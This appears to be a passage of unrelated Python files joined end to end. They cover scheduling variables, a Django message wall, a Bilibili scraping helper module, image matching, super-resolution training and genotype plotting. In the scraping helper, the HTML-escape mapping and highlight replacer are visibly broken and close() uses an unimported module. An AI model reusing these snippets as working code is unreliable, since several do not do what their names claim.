    """Constructs the query part of the search url. Parameters like
    board_url_query.
    """
    parameters = copy.copy(parameters)
    if name:
        parameters[name] = value
    query = '?saved=%s&type=%s&created=%s&search=%s' % (
        parameters['saved'],
        parameters['type'],
        parameters['created'],
        parameters['search']
    )
    return query


# Add License info here
"""This file contains the functions that create decision variables."""

class Variables:
    """Creates and stores decision variables."""

    def __init__(self, data, solver):
        """Initializes this class."""

        print("Adding variables to the model...")

        self.start_vars = _create_start_vars(data, solver)
        self.end_vars = _create_end_vars(data, solver)
        self.duration_vars = _create_duration_vars(data, solver)
        self.has_break_vars = _create_has_break_vars(data, solver)
        self.is_working_vars = _create_is_working_vars(data, solver)
        self.is_on_break_vars = _create_is_on_break_vars(data, solver)
        self.demand_vars = _create_demand_vars(data, solver)

def _create_start_vars(data, solver):
    """Creates start vars."""

    start_vars = {}
    for person, info in data.hour_info_for_person.items():
        var_name = f"Start|{person}"
        start_vars[person] = solver.NumVar(lb=info.start_hour,
                                           ub=info.end_hour,
                                           name=var_name)

    print("Added Start vars")
    return start_vars

def _create_end_vars(data, solver):
    """Creates end vars."""

    end_vars = {}
    for person, info in data.hour_info_for_person.items():
        var_name = f"End|{person}"
        end_vars[person] = solver.NumVar(lb=info.start_hour,
                                         ub=info.end_hour + 1,
                                         name=var_name)

    print("Added End vars")
    return end_vars

def _create_duration_vars(data, solver):
    """Creates duration vars."""

    duration_vars = {}
    for person in data.hour_info_for_person:
        var_name = f"Duration|{person}"
        duration_vars[person] = solver.NumVar(lb=0,
                                              ub=solver.infinity(),
                                              name=var_name)

    print("Added Duration vars")
    return duration_vars

def _create_has_break_vars(data, solver):
    """Creates has break vars."""

    has_break_vars = {}
    for person in data.hour_info_for_person:
        var_name = f"HasBreak|{person}"
        has_break_vars[person] = solver.IntVar(lb=0, ub=1, name=var_name)

    print("Added Has Break vars")
    return has_break_vars

def _create_is_working_vars(data, solver):
    """Creates is working vars."""

    is_working_vars = {}
    for person, info in data.hour_info_for_person.items():
        for hour in range(info.start_hour, info.end_hour + 1):
            var_name = f"IsWorking|{person}|{hour}"
            is_working_vars[(person, hour)] = solver.IntVar(lb=0,
                                                            ub=1,
                                                            name=var_name)

    print("Added Is Working vars")
    return is_working_vars

def _create_is_on_break_vars(data, solver):
    """Creates is on break vars."""

    is_on_break_vars = {}
    for person, info in data.hour_info_for_person.items():
        start_hour = info.start_hour
        end_hour = min(start_hour + data.max_hours_before_break, info.end_hour)
        for hour in range(start_hour, end_hour + 1):
            var_name = f"IsOnBreak|{person}|{hour}"
            is_on_break_vars[(person, hour)] = solver.IntVar(lb=0,
                                                             ub=1,
                                                             name=var_name)

    print("Added Is On Break vars")
    return is_on_break_vars

def _create_demand_vars(data, solver):
    """Creates demand vars."""

    demand_vars = {}
    for hour, demand in data.demand_for_hour.items():
        var_name = f"Demand|{hour}"
        demand_vars[hour] = solver.NumVar(lb=demand, ub=demand, name=var_name)

    print("Added Demand vars")
    return demand_vars


import sys
input = sys.stdin.readline

class Stack:
    def __init__(self):
        self._stack = []
        self.size = 0

    def push_back(self, value):
        self._stack.append(value)
        self.size += 1

    def pop_back(self):
        if self.size == 0:
            return -1

        self.size -= 1
        return self._stack.pop(-1)

    def my_size(self):
        return self.size

    def empty(self):
        return 1 if self.size == 0 else 0

    def top(self):
        return self._stack[-1] if self.size != 0 else -1

n = int(input())
a = Stack()
for _ in range(n):
    op = input().split()
    if op[0] == 'push':
        a.push_back(int(op[1]))
    elif op[0] == 'pop':
        print(a.pop_back())
    elif op[0] == 'size':
        print(a.my_size())
    elif op[0] == 'empty':
        print(a.empty())
    elif op[0] == 'top':
        print(a.top())


from .max_depth_tree import Solution, Node

def test_max_depth_none():
    result = Solution().maxDepth(None)
    assert result == 0

def test_max_depth_root():
    root = Node(1)
    result = Solution().maxDepth(root)
    assert result == 1

def test_max_depth_example1():
    node2 = Node(2)
    node4 = Node(4)
    node5 = Node(5)
    node6 = Node(6)
    node3 = Node(3, children=[node5, node6])
    root = Node(1, children=[node2, node4, node3])
    result = Solution().maxDepth(root)
    assert result == 3

def test_max_depth_example2():
    node14 = Node(14)
    node13 = Node(13)
    node12 = Node(12)
    node11 = Node(11, children=[node14, ])
    node10 = Node(10)
    node9 = Node(9, children=[node13, ])
    node8 = Node(8, children=[node12, ])
    node7 = Node(7, children=[node11, ])
    node6 = Node(6)
    node5 = Node(5, children=[node9, node10])
    node4 = Node(4, children=[node8, ])
    node3 = Node(3, children=[node6, node7])
    node2 = Node(2)
    root = Node(1, children=[node2, node3, node4, node5])
    result = Solution().maxDepth(root)
    assert result == 5


# coding: UTF-8
from typing import Union
import requests

# using-functions
def init():
    """The initialization of this program"""
    from os import mkdir
    from sys import exit
    try:
        mkdir('tmp')
    except FileExistsError:
        pass
    except PermissionError:
        print('Temporary folder create failed because "Premission Denied". '
              'Please check your permissions and run again.')
        exit()

def close():
    """The end of the program"""
    from os import rmdir
    from sys import exit
    rmdir('tmp')
    sys.exit()

def ReplaceByDict(string: str, replace_list: dict) -> str:
    for replace_str in replace_list:
        string = string.replace(replace_str, replace_list[replace_str])
    return string

def replace_for_web(string: str):
    ReplaceDict = {'"': '"', '&': '&', '<': '<', '&gt': '>', ' ': ' '}
    return ReplaceByDict(string = string, replace_list = ReplaceDict)

def replace_for_highlight(string: str):
    return string.replace('', '<').replace('', '>')

def format_time(time_tick: Union[int, float]) -> str:
    """
    格式化时间戳为具体日期,例\n
    >>> format_time(123456789)\n
    >>> '1973-11-30 05:33:09'\n
    :param time_tick: 时间戳
    :return: 具体日期
    """
    from time import strftime, localtime
    return strftime('%Y-%m-%d %H:%M:%S', localtime(time_tick))

def TickToMinute(tick: int, minute_time: int = 60) -> str:
    """
    将时间戳转换为分:秒\n例:\n
    >>> TickToMinute(123)\n
    >>> '02:03'\n
    :param tick: 时间戳
    :param minute_time: 每分钟的时间(60)
    :return: 转换后的时间戳
    """
    return f'{str((int(tick / minute_time))).zfill(2)}:{str(tick % minute_time).zfill(2)}'

def console(prefix: str = 'Console:', exit_key: str = 'EXIT_CONSOLE', print_traceback: bool = True,
            catch_error: bool = True) -> None:
    """
    创建一个调试环境\n
    例：\n
    >>> console(prefix = '>>> Console:')\n
    >>> Console: print('hello world!')\n
    >>> Console: hello world!\n
    >>> Console: EXIT_CONSOLE\n
    >>>\n
    :param prefix: 调试环境的前缀(默认'Console: ')
    :param exit_key: 用于退出调试环境的命令（默认'EXIT_CONSOLE'）
    :param print_traceback: 指定是否打印完整的报错内容(默认:True)
    :param catch_error: 指定是否抓取错误(默认True)
    """
    from traceback import print_exc
    for init_scripts in init_script:
        exec(init_scripts)
    while True:
        command = input(prefix)
        if command:
            if command == exit_key:
                return
            elif catch_error:
                try:
                    command = compile(command, 'command', 'single')
                    exec(command)
                except BaseException as Error:
                    if print_traceback:
                        print_exc()
                    else:
                        print(Error)
                    continue
            else:
                command = compile(command, 'command', 'single')
                exec(command)

# dev-functions
def requests_debug():
    from functools import wraps
    import requests

    def decorator(func, method):
        @wraps(func)
        def func_(url, params = None, data = None, json = None, **kwargs):
            from time import time
            start_time = time()
            print(log_str(f'Requests[{method.upper()}] starts at {format_time(start_time)}. Url:{url}'))
            print(log_str('kwargs:' + str(kwargs))) if kwargs else None
            response = func(url = url, params = params, data = data, json = json, **kwargs)
            print(log_str(f'Response at {format_time(time())}. Time:{"{:.3f}".format(time() - start_time)}sec '
                          f'Code:{response.status_code}'))
            return response

        return func_

    requests.get_ = requests.get
    requests.options_ = requests.options
    requests.head_ = requests.head
    requests.post_ = requests.post
    requests.put_ = requests.put
    requests.patch_ = requests.patch
    requests.delete_ = requests.delete

    def get(url, params = None, **kwargs):
        response = requests.get_(url = url, params = params, **kwargs)
        return response

    def options(url, **kwargs):
        response = requests.options_(url = url, **kwargs)
        return response

    def head(url, **kwargs):
        response = requests.head_(url = url, **kwargs)
        return response

    def post(url, data = None, json = None, **kwargs):
        response = requests.post_(url = url, data = data, json = json, **kwargs)
        return response

    def put(url, data = None, **kwargs):
        response = requests.put_(url = url, data = data, **kwargs)
        return response

    def patch(url, data = None, **kwargs):
        response = requests.patch_(url = url, data = data, **kwargs)
        return response

    def delete(url, **kwargs):
        response = requests.delete_(url = url, **kwargs)
        return response

    requests.get = decorator(get, 'get')
    requests.options = decorator(options, 'options')
    requests.head = decorator(head, 'head')
    requests.post = decorator(post, 'post')
    requests.put = decorator(put, 'put')
    requests.patch = decorator(patch, 'patch')
    requests.delete = decorator(delete, 'delete')
    return requests

def log_str(string: str, label: str = 'info') -> str:
    def merge_color_string(print_type: str = None, fore_color: str = None, background_color: str = None):
        color_dict = {'black': 30, 'red': 31, 'green': 32, 'yellow': 33, 'blue': 34,
                      'purple': 35, 'cyan': 36, 'white': 37}
        type_dict = {'default': 0, 'bold': 1, 'underline': 4, 'shining': 5, 'reverse': 7}
        type_code = '' if print_type not in type_dict else type_dict[print_type]
        fore_code = '' if fore_color not in color_dict else ';' + str(color_dict[fore_color])
        background_code = '' if background_color not in color_dict else ';' + str(color_dict[background_color] + 10)
        return [f'\033[{type_code}{fore_code}{background_code}m', '\033[m']

    label_dict = {'info': {'fore_color': 'white'}, 'warning': {'fore_color': 'yellow'}, 'error': {'fore_color': 'red'}}
    return string.join(merge_color_string(**label_dict[label])) if string is not None else ''

def bp_mnt():
    """Mount your debugger point at here!"""
    print('BREAK!')
    raise BaseException

# modules
video_module = [
    'aid', 'bvid', 'owner', 'length', 'upload_time', 'tname', 'copyright', 'introduction',
    'title', 'view', 'danmaku', 'like', 'reply', 'coin', 'collect', 'share']

bangumi_module = ['title', 'score', 'score_count', 'tag_list', 'view', 'danmaku', 'coin', 'start_time', 'new_ep',
                  'season_id', 'num', 'area', 'follower', 'finish', 'start', 'upload_time', 'introduction']

user_module = [
    'name', 'level', 'uid', 'sex', 'vip', 'official', 'fans_badge',
    'birthday', 'sign', 'video_count', 'fans', 'follower', 'following', 'black'
]

reply_module = [
    'name', 'level', 'sex', 'official', 'upload_time',
    'content', 'like', 'reply', 'up_like', 'up_reply', 'replies', 'progress',
    'url', 'score', 'level'
]

init_script = ['from WebApi.video import video',
               'from WebApi.user import user',
               'from WebApi.search import new_search',
               'from WebApi.bangumi import bangumi',
               'from FileApi.download import download',
               'from WebApi.background import *',
               'from scripts.tool import *',
               'from scripts.data_process import *',
               'import requests, re, json']

parseable = Union[int, str]

FAKE_USER_AGENT = 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'

GLOBAL_SESSION = requests.session()


# Definition for a binary tree node.
# class TreeNode:
#     def __init__(self, val=0, left=None, right=None):
#         self.val = val
#         self.left = left
#         self.right = right
class Solution:
    def leafSimilar(self, root1: TreeNode, root2: TreeNode) -> bool:
        # 中序遍历（其实前序、中序、后序都可以，因为不影响叶节点顺序）
        def inorder(root: TreeNode, leaf: List[int]):
            if not root:
                return
            inorder(root.left, leaf)
            if not root.left and not root.right:
                leaf.append(root.val)
            inorder(root.right, leaf)

        leaf1, leaf2 = [], []
        inorder(root1, leaf1)
        inorder(root2, leaf2)

        return leaf1 == leaf2


import click

from tq.connection import rc
from tq.logger import info
from tq.worker import Worker, ScheduledWorker, FailedWorker

default_queues = 'main'

queue_help = 'Queues for worker, separated by commas'
scheduled_worker_help = 'Scheduled worker'
failed_worker_help = 'Failed worker'

@click.command()
@click.option('--queues', type=click.STRING, required=False, help=queue_help,
              default=default_queues)
@click.option('--scheduled', type=click.BOOL, default=False,
              help=scheduled_worker_help)
@click.option('--failed', type=click.BOOL, default=False,
              help=failed_worker_help)
def tq_manager(queues, scheduled, failed):
    worker_klass = Worker
    queues = queues.split(',')

    if scheduled or failed:
        worker_klass = ScheduledWorker if scheduled else FailedWorker

    info('{}{}'.format('Starting worker for ', queues))
    info('Waiting for jobs.')
    info('Worker type {}\n'.format(worker_klass.__name__))

    worker = worker_klass(queues, rc)
    worker.run()

if __name__ == '__main__':
    tq_manager()


from django.shortcuts import render, redirect, HttpResponse
from .models import *
from django.contrib import messages

# Create your views here.
def logout(request):
    request.session.flush()
    return redirect('/')

def index(request):
    if 'user_id' not in request.session:
        return redirect('/')

    context = {
        "user": User.objects.get(id=request.session['user_id']),
        "messages": Message.objects.all(),
        "comments": Comment.objects.all()
    }
    return render(request, "index.html", context)

def message(request):
    if request.method=="POST":
        errors = Message.objects.message_validator(request.POST)

        if len(errors) > 0:
            for k, v in errors.items():
                messages.error(request, v)
            return redirect('/wall')

        user = User.objects.get(id=request.session['user_id'])
        message = Message.objects.create(user=user, message=request.POST['message'])

    return redirect('/wall')

def comment(request, id):
    if request.method == "POST":
        errors = Comment.objects.comment_validator(request.POST)

        if len(errors) > 0:
            for k, v in errors.items():
                messages.error(request, v)
            return redirect('/wall')

        user = User.objects.get(id=request.session['user_id'])
        message = Message.objects.get(id=id)
        comment = Comment.objects.create(user=user, message=message, comment=request.POST['comment'])

    return redirect('/wall')

def delete(request, id):
    if request.method == "POST":
        message = Message.objects.get(id=id)
        message.delete()

    return redirect('/wall')


textbox=None
entry=None
def fib_func():
    print("yes")
    text=entry.get()
    if "-fib " in text:
        text=text.replace("-fib ","")
        try:
            number=int(text)
            a,b = 0,1
            for i in range(number):
                a,b = b,a+b
                textbox.insert('end',"%s "%a)
        except:
            textbox.insert('end',"invalid fib input",'red')

#without main and privilege function a plugin will be invalid
def main(textBox_widget, entry_widget):
    global textbox,entry
    textbox=textBox_widget
    entry=entry_widget
    entry.bind("<F1>",lambda x: fib_func())

#privilege list elements sequence== function arguments sequence
def privilege():
    return("textBox",'entry')


import matplotlib.pyplot as plt
from PIL import Image
from torchvision import transforms
import numpy as np

def image_loader(path, size=None, normalize=False):
    """convert an image to torch tensor  of desired size

    Parameters
    ----------
    path : string
        Path to image
    size : tuple
        w x h desired size
    normalize : type
        whether to normalize to imagenet
    Returns
    -------
    type
        torch tensor of dimension c x w x h

    """
    loader = transforms.ToTensor()
    if size:
        loader = transforms.Compose([loader, transforms.Resize(size, interpolation=transforms.InterpolationMode.BILINEAR)])
    if normalize:
        loader = transforms.Compose([loader, transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])])
    image = Image.open(path)
    return loader(image)

def image_unloader(tensor, normalize=False):
    unloader = transforms.ToPILImage()
    if normalize:
        unloader = transforms.Compose([transforms.Normalize(mean=[0., 0., 0.],
                                                            std=[1/0.229, 1/0.224, 1/0.225]),
                                       transforms.Normalize(mean=[-0.485, -0.456, -0.406],
                                                            std=[1., 1., 1.]), unloader])
    return unloader(tensor)

def render_noise_image(size, normalize=False):
    img = Image.fromarray(np.uint8(np.random.uniform(150, 180, (size[0],size[1],3))))
    if normalize:
        return transforms.Compose([transforms.ToTensor(), transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])])(img)
    return transforms.ToTensor()(img)

def plot_image_from_tensor(tensor, title=None, figsize=None, normalize=False):
    image = image_unloader(tensor, normalize=normalize)
    plt.figure(figsize=figsize)
    plt.title(title)
    plt.axis('off')
    plt.imshow(image)
    plt.show()


d = {}

with open("en-ru.txt") as f:
    for line in f:
        eng = line.split("-")[0].strip()
        rus = line.split("-")[1].strip().split(',')
        for i in rus:
            i = i.strip()
            if i in d.keys():
                d[i] = d[i] + ", " + eng
            else:
                d[i] = eng

with open("ru-en.txt", "w") as file:
    for i in sorted(d.keys()):
        file.writelines(f"{i} - {d[i]}\n")


counts = dict()
final = dict()
text = "abcdagggopp"

words = list(text)
print(words)
for word in words:
      counts[word] = counts.get(word, 0) + 1
print(counts)

for word,value in counts.items():
    if value > 1:
        final[word] = value
print(final)


from utils import megre_pair, get_sorted_vocab

def bpe_train(train_text="data/smalltrain.txt", save_vocab="data/10000.txt", vocab_size=10000, min_frequency=3):
    """训练词表并存储.

    Args:
        train_text: 文件的输入路径
        save_vocab: 生成的输出路径
        vocab_size:词表的大小
        min_frequency: 最小出现词频
    """
    import time
    time_start = time.time()

    # 导入数据和初始表格
    vocab, pairs, indices = get_sorted_vocab(train_text)

    time_end = time.time()
    print('导入数据完成 用时 = %fs' % (time_end - time_start))

    with open(save_vocab, "w", encoding="utf-8") as fp:
        for i in range(vocab_size):
            time_start = time.time()
            if pairs:
                # 找到出现频率最高的pair。
                most_frequent = max(pairs, key=lambda x: (pairs[x], x))

            # 如果最高频次低于设定下限，退出
            now_fre = pairs[most_frequent]
            if now_fre < min_frequency:
                print('已达到下限')
                break

            # 更新vocab
            output = most_frequent[0] + ' ' + most_frequent[1] + '\n'
            fp.write(output)

            # 合并vocab中的被选中二元组
            # 修改pairs和indices
            pairs, indices = megre_pair(most_frequent, vocab, pairs, indices)

            if i % 100 == 0:
                time_end = time.time()
                print("已完成： ", i)
                print("当前频次： ", now_fre)
                print('用时 = %fs' % (time_end - time_start))

if __name__ == '__main__':
    # learn_bpe("train_BPE.txt")
    bpe_train()


class Student:
     def __init__(self, studentName, enrolled):
         self.studentName = studentName
         self.GPA = 0.0
         self.creditHours = 0
         self.enrolled = enrolled
         self.classes = []

newStudent = Student ("Venus de Milo",False)
print (newStudent.creditHours)

#number.py
class Number :
    def __init__(self,value=0,even=True):
        self.value = value
        self.even = even

number_instance = Number(101,False)


from __future__ import print_function
import os
def print_posix():
    maxcount=0
    selection='RPM'
    names = { 'RPM': 'rpm -q -a', 'DEB': 'dpkg -l'}
    counts = {}
    for name in names:
        cmd=names[name]
        fd = os.popen('%s 2>/dev/null' % cmd, 'r')
        packages = fd.readlines()
        fd.close()
        counts[name] = len(packages)
        packages = None
    for name in names:
        if counts[name] > maxcount:
            selection = name
    print(selection)

# posix, nt, dos, mac, ce, java, os2, or riscos.
if os.name == 'posix':
    print_posix()
elif os.name == 'mac':
    print('PackageMaker')
elif os.name == 'nt' or os.name == 'dos' or os.name == 'ce':
    print('NSIS')


import cv2
import glob
from operator import itemgetter
import os

FLANN_INDEX_KDTREE = 0

class Match:
    ref_images = []
    sift = None
    flann = None

    def __init__(self):
        self.sift = cv2.xfeatures2d.SIFT_create()

        index_params = dict(algorithm=FLANN_INDEX_KDTREE, trees=5)
        search_params = dict(checks=50)

        self.flann = cv2.FlannBasedMatcher(index_params, search_params)

        for img_itr_file in glob.glob("ref_image/*.*"):

            img_cv_itr = cv2.imread(img_itr_file, 0)

            kp,  img_cv_itr_desc = self.sift.detectAndCompute(img_cv_itr, None)

            img_obj = {}

            img_obj['img_desc'] = img_cv_itr_desc
            img_obj['file_name'] = img_itr_file

            self.ref_images.append(img_obj)

    def match_image(self, image_to_find):

        # cv2.imshow('image', image_to_find)
        # cv2.waitKey(0)
        # cv2.destroyAllWindows()

        # image_to_find_resized_scaled = cv2.resize(
        #     image_to_find, (0, 0), fx=0.5, fy=0.5)

        # newx, newy = image_to_find_resized_scaled.shape[1] / \
        #     2, image_to_find_resized_scaled.shape[0]/2

        # image_to_find_resized_final = cv2.resize(
        #     image_to_find_resized_scaled, (newx, newy), fx=0.5, fy=0.5)

        kp2, image_to_find_resized_final_desc = self.sift.detectAndCompute(
            image_to_find, None)

        results = []

        for ref_image in self.ref_images:

            matches = self.flann.knnMatch(
                ref_image['img_desc'], image_to_find_resized_final_desc, 2)

            good = []
            for m, n in matches:
                if m.distance < 0.7*n.distance:
                    good.append(m)

            obj = {}
            obj['file_name'] = ref_image['file_name']
            obj['score'] = len(good)

            if len(good) >= 10:
                results.append(obj)

        sorted_result = sorted(results, key=itemgetter('score'), reverse=True)

        match_result = {}
        match_result['found'] = False
        match_result['file'] = ''

        if len(sorted_result) > 0:
            match_result['found'] = True
            match_result['file'] = os.path.splitext(os.path.basename(
                sorted_result[0]['file_name']))[0]

        return match_result


import torch
import utility
from decimal import Decimal
from tqdm import tqdm

class Trainer():
    def __init__(self, opt, loader, my_model, my_loss, ckp):
        self.opt = opt
        self.scale = opt.scale
        self.ckp = ckp
        self.loader_train = loader.loader_train
        self.loader_test = loader.loader_test
        self.model = my_model
        self.loss = my_loss
        self.optimizer = utility.make_optimizer(opt, self.model)
        self.scheduler = utility.make_scheduler(opt, self.optimizer)
        self.dual_models = self.model.dual_models
        self.dual_optimizers = utility.make_dual_optimizer(opt, self.dual_models)
        self.dual_scheduler = utility.make_dual_scheduler(opt, self.dual_optimizers)
        self.error_last = 1e8

    def train(self):
        epoch = self.scheduler.last_epoch + 1
        lr = self.scheduler.get_lr()[0]

        self.ckp.write_log(
            '[Epoch {}]\tLearning rate: {:.2e}'.format(epoch, Decimal(lr))
        )
        self.loss.start_log()
        self.model.train()
        timer_data, timer_model = utility.timer(), utility.timer()
        for batch, (lr, hr, _) in enumerate(self.loader_train):
            lr, hr = self.prepare(lr, hr)
            timer_data.hold()
            timer_model.tic()

            self.optimizer.zero_grad()

            for i in range(len(self.dual_optimizers)):
                self.dual_optimizers[i].zero_grad()

            # forward
            sr = self.model(lr[0])
            sr2lr = []
            for i in range(len(self.dual_models)):
                sr2lr_i = self.dual_models[i](sr[i - len(self.dual_models)])
                sr2lr.append(sr2lr_i)

            # compute primary loss
            loss_primary = self.loss(sr[-1], hr)
            for i in range(1, len(sr)):
                loss_primary += self.loss(sr[i - 1 - len(sr)], lr[i - len(sr)])

            # compute dual loss
            loss_dual = self.loss(sr2lr[0], lr[0])
            for i in range(1, len(self.scale)):
                loss_dual += self.loss(sr2lr[i], lr[i])

            # compute total loss
            loss = loss_primary + self.opt.dual_weight * loss_dual

            if loss.item() < self.opt.skip_threshold * self.error_last:
                loss.backward()
                self.optimizer.step()
                for i in range(len(self.dual_optimizers)):
                    self.dual_optimizers[i].step()
            else:
                print('Skip this batch {}! (Loss: {})'.format(
                    batch + 1, loss.item()
                ))

            timer_model.hold()

            if (batch + 1) % self.opt.print_every == 0:
                self.ckp.write_log('[{}/{}]\t{}\t{:.1f}+{:.1f}s'.format(
                    (batch + 1) * self.opt.batch_size,
                    len(self.loader_train.dataset),
                    self.loss.display_loss(batch),
                    timer_model.release(),
                    timer_data.release()))

            timer_data.tic()

        self.loss.end_log(len(self.loader_train))
        self.error_last = self.loss.log[-1, -1]
        self.step()

    def test(self):
        epoch = self.scheduler.last_epoch
        self.ckp.write_log('\nEvaluation:')
        self.ckp.add_log(torch.zeros(1, 1))
        self.model.eval()

        timer_test = utility.timer()
        with torch.no_grad():
            scale = max(self.scale)
            for si, s in enumerate([scale]):
                eval_psnr = 0
                tqdm_test = tqdm(self.loader_test, ncols=80)
                for _, (lr, hr, filename) in enumerate(tqdm_test):
                    filename = filename[0]
                    no_eval = (hr.nelement() == 1)
                    if not no_eval:
                        lr, hr = self.prepare(lr, hr)
                    else:
                        lr, = self.prepare(lr)

                    sr = self.model(lr[0])
                    if isinstance(sr, list): sr = sr[-1]

                    sr = utility.quantize(sr, self.opt.rgb_range)

                    if not no_eval:
                        eval_psnr += utility.calc_psnr(
                            sr, hr, s, self.opt.rgb_range,
                            benchmark=self.loader_test.dataset.benchmark
                        )

                    # save test results
                    if self.opt.save_results:
                        self.ckp.save_results_nopostfix(filename, sr, s)

                self.ckp.log[-1, si] = eval_psnr / len(self.loader_test)
                best = self.ckp.log.max(0)
                self.ckp.write_log(
                    '[{} x{}]\tPSNR: {:.2f} (Best: {:.2f} @epoch {})'.format(
                        self.opt.data_test, s,
                        self.ckp.log[-1, si],
                        best[0][si],
                        best[1][si] + 1
                    )
                )

        self.ckp.write_log(
            'Total time: {:.2f}s\n'.format(timer_test.toc()), refresh=True
        )
        if not self.opt.test_only:
            self.ckp.save(self, epoch, is_best=(best[1][0] + 1 == epoch))

    def step(self):
        self.scheduler.step()
        for i in range(len(self.dual_scheduler)):
            self.dual_scheduler[i].step()

    def prepare(self, *args):
        device = torch.device('cpu' if self.opt.cpu else 'cuda')

        if len(args)>1:
            return [a.to(device) for a in args[0]], args[-1].to(device)
        return [a.to(device) for a in args[0]],

    def terminate(self):
        if self.opt.test_only:
            self.test()
            return True
        else:
            epoch = self.scheduler.last_epoch
            return epoch >= self.opt.epochs


"Runs the test problem."

def test_cubic():
    import numpy as np
    from . import cubic

    claw = cubic.setup(solver_type="sharpclaw")
    # For the classic solver with solver.limiters = pyclaw.limiters.tvd.vanleer,
    # nonclassical solutions occur...
    claw.run()
    sol = claw.solution.state.get_q_global()

    if sol is not None:
        xc = claw.solution.state.grid.x.centers
        qL = 4.0
        qR = -2.0
        x0 = -0.5 + (qL**3 - qR**3) / (qL - qR) * 0.2
        expected_sol = (xc < x0) * qL + (xc >= x0) * qR
        test_err = np.linalg.norm(expected_sol - sol, ord=1) / len(xc)
        print(test_err)
        assert test_err < 1.e-3

if __name__=="__main__":
    import nose
    nose.main()


"""
Functions to QC imputed data (in hdf5 format)
@ Author: Harald Ringbauer, 2021
"""

import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
import os as os
import sys as sys
import h5py

def get_gp_df(path_h5 = "", chs = [1,], iids = ["iid1",],
              cutoffs = [0.5,0.6,0.7,0.8,0.9]):
    """Check Genotype Probabilities for list of [iids] and list of [chs].
    Calculate max gp fractions <[cutoffs]. A value >0.01 for c=0.5 seems
    highly problematic, and should be flagged!
    Return summary dataframe for each chromosome and iid.
    path_h5: Path of the hdf5 up to the chr. number."""

    columns = ["iid", "ch", "n"] + cutoffs
    df = pd.DataFrame(columns=columns)

    for ch in chs:
        ### load the data
        print(f"Loading Chromosome {ch}...")
        with h5py.File(f"{path_h5}{ch}.h5", "r") as f: # Load for Sanity Check. See below!
                gt = f["calldata/GT"][:]
                gp = f["calldata/GP"][:]
                samples = f["samples"][:].astype("str")
                cm = f["variants/MAP"][:]

        ### iterate over iids
        for iid in iids:
            idx = (samples==iid)
            assert(np.sum(idx)==1)
            i = np.where(idx)[0][0]
            y = np.max(gp[:,i,:], axis=1)
            vs = [np.mean(y<=c) for c in cutoffs] # Values to append

            ### Append Values
            to_append = [iid, ch, len(y)] + vs
            a_series = pd.Series(to_append, index = df.columns)
            df = df.append(a_series, ignore_index=True)

    return df

def plot_gp(ch = 1, iid = "Sz2",
            path_h5 = "/mnt/archgen/users/hringbauer/data/lango.2021.may/hdf5/ch",
            figsize = (9,2.5),
            color = "maroon",
            savefolder=""):
    """Plot Max. Genotype Posteriors for
    [iid] on [ch]."""
    ### Load the data
    with h5py.File(f"{path_h5}{ch}.h5", "r") as f: # Load for Sanity Check. See below!
        print(list(f["variants"]))
        print(np.shape(f["calldata/GT"]))
        gt = f["calldata/GT"][:]
        gp = f["calldata/GP"][:]
        samples = f["samples"][:].astype("str")
        cm = f["variants/MAP"][:]
        #iids_found = f["samples"][:].astype("str")
    #print(f"Loaded {len(samples)} Individuals.")
    idx = (samples==iid)
    assert(np.sum(idx)==1)
    i = np.where(idx)[0][0]
    y = np.max(gp[:,i,:], axis=1)

    ### Do the plotting
    plt.figure(figsize=figsize)
    ax = plt.gca()
    ax.plot(cm, y, "o", c=color, ms=1, alpha=0.5)
    ax.set_ylabel("Max. GP")
    ax.set_xlabel("Map Position [centimorgan]")
    ax.set_title(f"{iid}, Chromosome {ch}")
    ax.set_ylim([0.42, 1.02])

    if len(savefolder)>0:
            savepath = os.path.join(savefolder, f"{iid}_ch{ch}.png")
            plt.savefig(savepath, bbox_inches ='tight', pad_inches = 0, dpi=400)
            print(f"Saved to {savepath}")

    plt.show()


import numpy as np
import matplotlib.pyplot as plt
import pandas as pd
def rnnData(data, time_steps, isLabel=False):
    """
    creates new data frame based on previous observation
      * example:
        l = [1, 2, 3, 4, 5]
        time_steps = 2
        -> labels == False [[1, 2], [2, 3], [3, 4]] #Data frame for input with 2 timesteps
        -> labels == True [3, 4, 5] # labels for predicting the next timestep
    """
    rnn_df = []
    for i in range(len(data) - time_steps):
        if isLabel:
            rnn_df.append(data.iloc[i + time_steps].as_matrix())
        else:
            data_ = data.iloc[i: i + time_steps].as_matrix()
            if (len(data_.shape) > 1):
                rnn_df.append(data_)
            else:
                rnn_df.append([j] for j in data_)
    return np.array(rnn_df, dtype=np.float32)

def genData():
    pos = np.zeros(100)
    vel = np.zeros_like(pos)
    for i in range(1, 100):
        vel[i] = i
        pos[i] = pos[i-1] + vel[i]

    x = np.array(vel)
    y = np.array(pos)

    return x, y

def splitData(data, val_size=0.1, test_size=0.1):
    ntest = int(round(len(data) * (1 - test_size)))
    nval = int(round(len(data.iloc[:ntest]) * (1 - val_size)))
    df_train, df_val, df_test = data.iloc[:nval], data.iloc[nval:ntest], data.iloc[ntest:]
    return df_train, df_val, df_test

def getData():
    x, y = genData()
    y = np.reshape(y, (len(y), 1))
    ts = 10
    #z = np.zeros(ts)
    #x = np.concatenate( (z, x), axis = 0)
    x = pd.DataFrame(x)
    x = rnnData(x, ts)

    xx = np.zeros((len(x), ts+1))
    yy = np.zeros((len(x),1))
    for i in range(0, len(x)):
        row = np.reshape(x[i], (10,))
        initPos = y[i]
        xx[i,:] = np.concatenate((initPos, row), axis=0)
        yy[i] = y[i+9]
    # print xx.shape
    # print yy.shape

    x = pd.DataFrame(xx)
    y = pd.DataFrame(yy)

    xTrain, xVal, xTest = splitData(x)
    yTrain, yVal, yTest = splitData(y)

    xx = dict(train = xTrain, val = xVal, test = xTest)
    yy = dict(train = yTrain, val = yVal, test = yTest)

    return xx, yy

if __name__ == '__main__':
    getData()


from random import random
from sklearn.neighbors import KDTree
from numpy import array, ndarray
from scipy.stats import f

class Hopkins:
    def __init__(self, data:ndarray, area_width:int, area_height:int, random_data:ndarray = None) -> None:
        self.N = len(data)
        self.X = data
        self.x_random = random_data
        self.area_width = area_width
        self.area_height = area_height
        self.tree = KDTree(self.X)
        self.H = self._hopkins_statistic()

    def _squared_s_distances(self):
        distances, indices = self.tree.query(self.X, k=2)
        return sum([x**2 for x in distances[:,1]])

    def _squared_r_distances(self):
        if self.x_random.all() == None:
            random_points = [(self.area_width*random(), self.area_height*random()) for _ in range(self.N)]
